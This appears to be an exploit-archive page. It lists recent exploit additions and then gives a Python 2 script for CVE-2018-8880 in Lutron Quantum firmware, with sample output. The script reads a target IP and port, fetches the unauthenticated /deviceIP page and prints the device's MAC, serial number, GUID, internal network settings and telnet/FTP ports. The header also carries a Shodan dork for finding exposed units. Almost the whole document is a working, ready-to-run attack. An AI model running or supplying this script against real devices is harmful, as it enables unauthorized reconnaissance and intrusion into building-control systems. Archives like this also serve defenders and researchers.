e8f4ef9188
14 changes to exploits/shellcodes PDFunite 0.41.0 - '.pdf' Local Buffer Overflow RSVG 2.40.13 / 2.42.2 - '.svg' Buffer Overflow VX Search 10.6.18 - 'directory' Local Buffer Overflow Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) Easy File Sharing Web Server 7.2 - Stack Buffer Overflow Coship RT3052 Wireless Router - Persistent Cross-Site Scripting Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution MySQL Squid Access Report 2.1.4 - SQL Injection / Cross-Site Scripting Rvsitebuilder CMS - Database Backup Download Match Clone Script 1.0.4 - Cross-Site Scripting Kodi 17.6 - Persistent Cross-Site Scripting Lutron Quantum 2.0 - 3.2.243 - Information Disclosure WordPress Plugin Caldera Forms 1.5.9.1 - Cross-Site Scripting Joomla! Component JS Jobs 1.2.0 - Cross-Site Request Forgery Geist WatchDog Console 3.2.2 - Multiple Vulnerabilities
69 lines
No EOL
2.2 KiB
Python
Executable file
69 lines
No EOL
2.2 KiB
Python
Executable file
'''
|
|
|
|
# Exploit Title: Login bypass and data leak - Lutron Quantum 2.0 - 3.2.243 firmware
|
|
# Date: 20-03-2018
|
|
# Exploit Author: David Castro
|
|
# Contact: https://twitter.com/SadFud75
|
|
# Vendor Homepage: http://www.lutron.com
|
|
# Software Link: http://www.lutron.com/en-US/Products/Pages/WholeBuildingSystems/Quantum/Overview.aspx
|
|
# Version: Lutron Quantum 2.0 - 3.2.243 firmware
|
|
# CVE : CVE-2018-8880
|
|
# Shodan dork: html:"<h1>LUTRON</h1>"
|
|
|
|
Python 2.7 Output:
|
|
|
|
Leaking data from HOST
|
|
[+] Device info:
|
|
|
|
MAC: 000FE702A999
|
|
PRODUCT FAMILY: Gulliver
|
|
PRODUCT TYPE: Processor
|
|
SERIAL NUMBER: 007B24B4
|
|
GUID: 0DFB959BD0D8784DA9501B958F099779
|
|
CODE VERSION: 7.5.0
|
|
|
|
[+] Network info:
|
|
|
|
INTERNAL IP: 192.168.0.2
|
|
SUBNET MASK: 255.255.255.0
|
|
GATEWAY: 192.168.0.1
|
|
TELNET PORT: 23
|
|
FTP PORT: 21
|
|
REMOTE PORT: 51023
|
|
|
|
[+] Done.
|
|
|
|
'''
|
|
|
|
|
|
import requests
|
|
from bs4 import BeautifulSoup
|
|
|
|
ip = raw_input("Enter target ip: ")
|
|
port = raw_input("Enter target port: ")
|
|
|
|
print 'Leaking data from ' + 'http://' + ip + ":" + port
|
|
r = requests.get('http://' + ip + ":" + port + '/deviceIP')
|
|
resultado = r.text
|
|
parseado = BeautifulSoup(resultado, "lxml")
|
|
|
|
print '[+] Device info:'
|
|
print ''
|
|
print 'MAC: ' + parseado.find('input', {'name': 'MacAddr'}).get('value')
|
|
print 'PRODUCT FAMILY: ' + parseado.find('input', {'name': 'PRODFAM'}).get('value')
|
|
print 'PRODUCT TYPE: ' + parseado.find('input', {'name': 'PRODTYPE'}).get('value')
|
|
print 'SERIAL NUMBER: ' + parseado.find('input', {'name': 'SERNUM'}).get('value')
|
|
print 'GUID: ' + parseado.find('input', {'name': 'GUID'}).get('value')
|
|
print 'CODE VERSION: ' + parseado.find('input', {'name': 'CODEVER'}).get('value')
|
|
print ''
|
|
print '[+] Network info:'
|
|
print ''
|
|
print 'INTERNAL IP: ' + parseado.find('input', {'name': 'IPADDR'}).get('value')
|
|
print 'SUBNET MASK: ' + parseado.find('input', {'name': 'SUBNETMK'}).get('value')
|
|
print 'GATEWAY: ' + parseado.find('input', {'name': 'GATEADDR'}).get('value')
|
|
print 'TELNET PORT: ' + parseado.find('input', {'name': 'TELPORT'}).get('value')
|
|
print 'FTP PORT: ' + parseado.find('input', {'name': 'FTPPORT'}).get('value')
|
|
print 'REMOTE PORT: ' + parseado.find('input', {'name': 'REMOTEPORT'}).get('value')
|
|
print ''
|
|
print '[+] Done.'
|
|
print '' |